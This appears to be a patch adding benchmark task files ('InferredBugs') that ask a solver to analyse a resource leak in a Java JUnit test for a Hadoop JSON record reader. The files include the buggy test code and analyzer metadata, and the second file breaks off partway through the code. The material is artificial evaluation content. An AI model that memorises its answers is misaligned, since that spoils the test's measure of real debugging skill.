+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader, boolean flag) throws IOException {
+		List<Integer> linesList = new LinkedList<Integer>();
+		
+		LongWritable key = reader.createKey();
+		Text value = reader.createValue();
+		
+		while (reader.next(key, value)) {
+			int line = flag ? (int)(key.get()) : value.toString().charAt(23) - '0';
+			linesList.add(line);
+			System.out.println(key.get() + " - " + value.toString());
+		}
+		
+		int [] lines = new int[linesList.size()];
+		for (int i=0;i<linesList.size();i++) {
+			lines[i] = linesList.get(i);
+		}
+		return lines;
+	}
+	
+	@Test
+	public void TestArbitrarySplitLocations() throws IOException {
+		
+		//int totalSize = 415;
+		
+		//int [] recordBreaks = new int[] { 0, 40, 80, 120, 160, 200, 240, 280, 320, 372 };
+	
+		
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 40)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 41)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 42)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 39, 123)));
+		
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 20, 123)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 40, 123)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+		Assert.assertArrayEquals(new int[] { 6, 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 240, 340)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 353, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 354, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 355, 415)));
+	}
+
+	@Test
+	public void TestEachOnce() throws IOException {
+		//Each record exactly once - see commit b8f6d6dfaf11cce7d8cba54e6011e8684ade0e85, issue #68
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 63)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 63, 121)));
+		Assert.assertArrayEquals(new int[] { 4 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 121, 187)));
+		Assert.assertArrayEquals(new int[] { 5, 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 187, 264)));
+		Assert.assertArrayEquals(new int[] { 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 264, 352)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 352, 412)));
+
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 23)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 23, 41)));
+		// Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+	}
+
+	@Test
+	public void TestWhitespace() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Ignore  // May not be guaranteed behavior
+	public void TestComma() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Test
+	public void TestEscape() throws IOException {  // Issue #68
+		//int [] recordBreaks = new int[] { 0, 44, 88, 137, 181, 229, 270, 311, 354 };  //length 395
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 43, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] {2, 3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 45, 140)));
+		Assert.assertArrayEquals(new int[] {4,5,6}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 181, 289)));
+		Assert.assertArrayEquals(new int[] { 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 336, 400)));  // 7|{}"
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 14, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 22, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 23, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 24, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 25, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 68)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 69)));
+	}
+
+	@Test
+	public void TestEscQuoteLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscAposLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 43, 140)));
+	}
+
+	@Test
+	public void TestEscSlashLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscCloseLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscOpenLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] { 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 268, 280)));
+	}
+
+	@Test
+	public void TestEscPoints() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 74), true));
+		Assert.assertArrayEquals(new int[] {0, 75}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 76), true));
+		Assert.assertArrayEquals(new int[] {75, 146}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 70, 148), true));
+	}
+
+	// This tests some multi-byte characters in UTF-8.
+	// If implementing a byte-based approach instead of character-based,
+	// the test itself would probably have to be updated to byte-based offsets
+	@Test
+	public void TestCharacters() throws IOException {
+		//int[] recordBreaks = new int[] { 0, 42, 84, 126, 168, 210, ...};  // character-based offsets
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 42), true));
+		Assert.assertArrayEquals(new int[] {0,42}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 38, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 39, 43), true));
+		Assert.assertArrayEquals(new int[] {84,126,168}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 43, 200), true));
+		Assert.assertArrayEquals(new int[] {210,252,294,336}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 200, 400), true));
+	}
+
+	@Test
+	public void TestGeomFirst() throws IOException {
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 32, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 48, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 49, 54)));
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 0, 52), true));
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `getReaderFor(...)` at line 148 is not released after line 148.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestUnenclosedJsonRecordReader.TestEscQuoteLast()
+
+### Procedure Id:
+com.esri.json.hadoop.TestUnenclosedJsonRecordReader.TestEscQuoteLast():void.aca97969465948f8cfff1f4871cc8502
+
+### File:
+json/src/test/java/com/esri/json/hadoop/TestUnenclosedJsonRecordReader.java
+
+### Key:
+TestUnenclosedJsonRecordReader.java|TestEscQuoteLast|RESOURCE_LEAK
+
+### Node Key:
+df0efd48083e294955bf88e2a7226f99
+
+### Hash:
+f844d2641270f707328c9917d15a2ce2
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8739/instruction.md b/inferredbugs-8739/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..15e1574834abbad8d4c66232a5b41fd723dffc21
--- /dev/null
+++ b/inferredbugs-8739/instruction.md
@@ -0,0 +1,302 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spatial-framework-for-hadoop
+**Bug ID:** 78
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.esri.json.hadoop;
+
+import java.io.IOException;
+import java.util.LinkedList;
+import java.util.List;
+
+import org.apache.hadoop.fs.Path;
+import org.apache.hadoop.io.LongWritable;
+import org.apache.hadoop.io.Text;
+import org.apache.hadoop.mapred.FileSplit;
+import org.apache.hadoop.mapred.JobConf;
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+public class TestUnenclosedJsonRecordReader {
+	private UnenclosedJsonRecordReader getReaderFor(String resource, int start, int end) throws IOException {
+		Path path = new Path(this.getClass().getResource(resource).getFile());
+		
+		JobConf conf = new JobConf();
+		
+		FileSplit split = new FileSplit(path, start, end - start, new String[0]);
+		
+		return new UnenclosedJsonRecordReader(split, conf);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader) throws IOException {
+		return getRecordIndexesInReader(reader, false);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader, boolean flag) throws IOException {
+		List<Integer> linesList = new LinkedList<Integer>();
+		
+		LongWritable key = reader.createKey();
+		Text value = reader.createValue();
+		
+		while (reader.next(key, value)) {
+			int line = flag ? (int)(key.get()) : value.toString().charAt(23) - '0';
+			linesList.add(line);
+			System.out.println(key.get() + " - " + value.toString());
+		}
+		
+		int [] lines = new int[linesList.size()];
+		for (int i=0;i<linesList.size();i++) {
+			lines[i] = linesList.get(i);
+		}
+		return lines;
+	}
+	
+	@Test
+	public void TestArbitrarySplitLocations() throws IOException {
+		
+		//int totalSize = 415;
+		
+		//int [] recordBreaks = new int[] { 0, 40, 80, 120, 160, 200, 240, 280, 320, 372 };
+	
+		
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 40)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 41)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 42)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 39, 123)));
+		
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 20, 123)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 40, 123)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+		Assert.assertArrayEquals(new int[] { 6, 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 240, 340)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 353, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 354, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 355, 415)));
+	}
+
+	@Test
+	public void TestEachOnce() throws IOException {
+		//Each record exactly once - see commit b8f6d6dfaf11cce7d8cba54e6011e8684ade0e85, issue #68
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 63)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 63, 121)));
+		Assert.assertArrayEquals(new int[] { 4 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 121, 187)));
+		Assert.assertArrayEquals(new int[] { 5, 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 187, 264)));
+		Assert.assertArrayEquals(new int[] { 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 264, 352)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 352, 412)));
+
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 23)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 23, 41)));
+		// Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+	}
+
+	@Test
+	public void TestWhitespace() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Ignore  // May not be guaranteed behavior
+	public void TestComma() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Test
+	public void TestEscape() throws IOException {  // Issue #68
+		//int [] recordBreaks = new int[] { 0, 44, 88, 137, 181, 229, 270, 311, 354 };  //length 395
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 43, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] {2, 3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 45, 140)));
+		Assert.assertArrayEquals(new int[] {4,5,6}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 181, 289)));
+		Assert.assertArrayEquals(new int[] { 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 336, 400)));  // 7|{}"
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 14, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 22, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 23, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 24, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 25, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 68)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 69)));
+	}
+
+	@Test
+	public void TestEscQuoteLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscAposLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 43, 140)));
+	}
+
+	@Test
+	public void TestEscSlashLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscCloseLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscOpenLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 44)));
